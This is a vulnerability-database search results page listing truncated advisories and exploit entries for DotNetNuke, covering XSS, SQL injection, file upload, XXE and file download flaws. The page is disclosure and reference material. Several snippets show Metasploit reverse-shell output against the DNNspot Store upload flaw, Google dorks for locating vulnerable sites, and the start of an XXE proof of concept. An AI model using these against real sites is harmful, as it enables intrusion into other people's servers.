758 matches found
DNN (DotNetNuke) < 7.4.0 Unspecified Persistent XSS
The version of DNN installed on the remote host is affected by an unspecified, persistent cross-site scripting vulnerability due to a failure to properly sanitize user-supplied input. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported...
DotNetNuke Cross-Site Scripting Vulnerability (CNVD-2015-01010)
DotNetNuke DNN is a set of U.S. DNN company supported by Microsoft , based on the ASP.NET platform for open source content management system CMS. The system is easy to install , scalable , feature-rich and so on. DotNetNuke DNN suffers from a cross-site scripting vulnerability. A remote attacker...
CVE-2015-1566
Cross-site scripting XSS vulnerability in DotNetNuke DNN before 7.4.0 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...
Cross site scripting
Cross-site scripting XSS vulnerability in DotNetNuke DNN before 7.4.0 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...
CVE-2015-1566
Cross-site scripting XSS vulnerability in DotNetNuke DNN before 7.4.0 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...
CVE-2015-1566
CVE-2015-1566 affects DotNetNuke (DNN) before version 7.4.0, where an XSS flaw could allow remote attackers to inject arbitrary web script or HTML via unspecified vectors. The concrete root cause is not detailed in the provided documents beyond the vendor’s version bound; no exploit vectors are d...
DotNetNuke DNNspot Store 3.0.0 Arbitary File Upload
No description provided by source. Exploit Title: DotNetNuke DNNspot Store UploadifyHandler.ashx = 3.0.0 Arbitary File Upload Date: 23/01/2014 Author: Glafkos Charalambous Version: 3.0.0 Vendor: DNNspot Vendor URL: https://www.dnnspot.com Google Dork: inurl:/DesktopModules/DNNspot-Store/ root@kal...
DotNetNuke DNNArticle Module SQL Injection (CVE-2013-5117)
TODO...
DotNetNuke DNNspot Store (UploadifyHandler.ashx) 3.0.0 File Upload
Exploit Title: DotNetNuke DNNspot Store UploadifyHandler.ashx windows/shell/reversetcp LHOST = 192.168.13.37 LPORT = 31337 RHOST = 192.168.31.33 - Handler failed to bind to 192.168.13.37:31337 Started reverse handler on 0.0.0.0:31337 192.168.31.33:80 - Uploading payload... 192.168.31.33:80 -...
DotNetNuke DNNspot Store 3.0.0 Arbitary File Upload Exploit
This Metasploit module exploits an arbitrary file upload vulnerability found in DotNetNuke DNNspot Store module versions below 3.0.0. Exploit Title: DotNetNuke DNNspot Store UploadifyHandler.ashx windows/shell/reversetcp LHOST = 192.168.13.37 LPORT = 31337 RHOST = 192.168.31.33 - Handler failed t...
DotNetNuke DNNspot Store 3.0.0 - Arbitrary File Upload (Metasploit)
DotNetNuke DNNspot Store 3.0.0 - Arbitrary File Upload Metasploit Exploit Title: DotNetNuke DNNspot Store UploadifyHandler.ashx windows/shell/reversetcp LHOST = 192.168.13.37 LPORT = 31337 RHOST = 192.168.31.33 - Handler failed to bind to 192.168.13.37:31337 Started reverse handler on...
DotNetNuke DNNspot Store 3.0.0 - Arbitrary File Upload (Metasploit)
Exploit Title: DotNetNuke DNNspot Store UploadifyHandler.ashx windows/shell/reversetcp LHOST = 192.168.13.37 LPORT = 31337 RHOST = 192.168.31.33 - Handler failed to bind to 192.168.13.37:31337 Started reverse handler on 0.0.0.0:31337 192.168.31.33:80 - Uploading payload... 192.168.31.33:80 -...
DotNetNuke DNNArticle Module 10.0 - SQL Injection Vulnerability
No description provided by source. Title: DotNetNuke DNNArticle Module SQL Injection Vulnerability References: CVE-2013-5117 Discovered by: Sajjad Pourali Vendor http://www.zldnn.com/ , http://www.dnnarticle.com/? Vendor advisory:...
DotNetNuke Remote File upload Vulnerability
No description provided by source. DotNetNuke Remote File upload Vulnerability Prodcut: DotNetNuke Home : www.DZ4All.cOm/Cc Vunlerability : Remote File upload Risk : High Dork : inurl:tabid/176/Default.aspx or inurl:portals/0/ Original discovery and credit goes to: Alireza Afzali of ISCN Team Fou...
DotNetNuke <= 4.9.3 'ErrorPage.aspx' Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/35074/info DotNetNuke is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the...
DotNetNuke <= 4.0 HTML Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/20117/info DotNetNuke is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script...
SharePoint 2007/2010 and DotNetNuke < 6 - File disclosure via XEE
No description provided by source. Exploit Title: File disclosure via XEE in SharePoint and DotNetNuke Date: September 15, 2011 Author: Nicolas Gregoire Version: SharePoint 2007 / 2010, DotNetNuke 6 CVE : CVE-2011-1892 poc filename: xee.xml !DOCTYPE doc !ENTITY boom SYSTEM...
DotNetNuke 4.8.1 - Default 'ValidationKey' and 'DecriptionKey' Weak Encryption Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/28391/info DotNetNuke is prone to a weak encryption vulnerability. An attacker can exploit this issue to decrypt sensitive data. Information obtained may lead to further attacks. This issue affects DotNetNuke 4.8.1; other...
DotNetNuke 4.8.3 - 'Default.aspx' Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/29437/info DotNetNuke is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the...
DNN (DotNetNuke®) ASPSlideshow Module Arbitrary File Download Vulnerability
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Title : DNN DotNetNuke® ASPSlideshow Module Arbitrary File Download Vulnerability Author : alieye vendor : http://www.mediaant.com/ , http://store.dnnsoftware.com/ Contact : [email protected] Risk : High Class: Remote Google Dork:...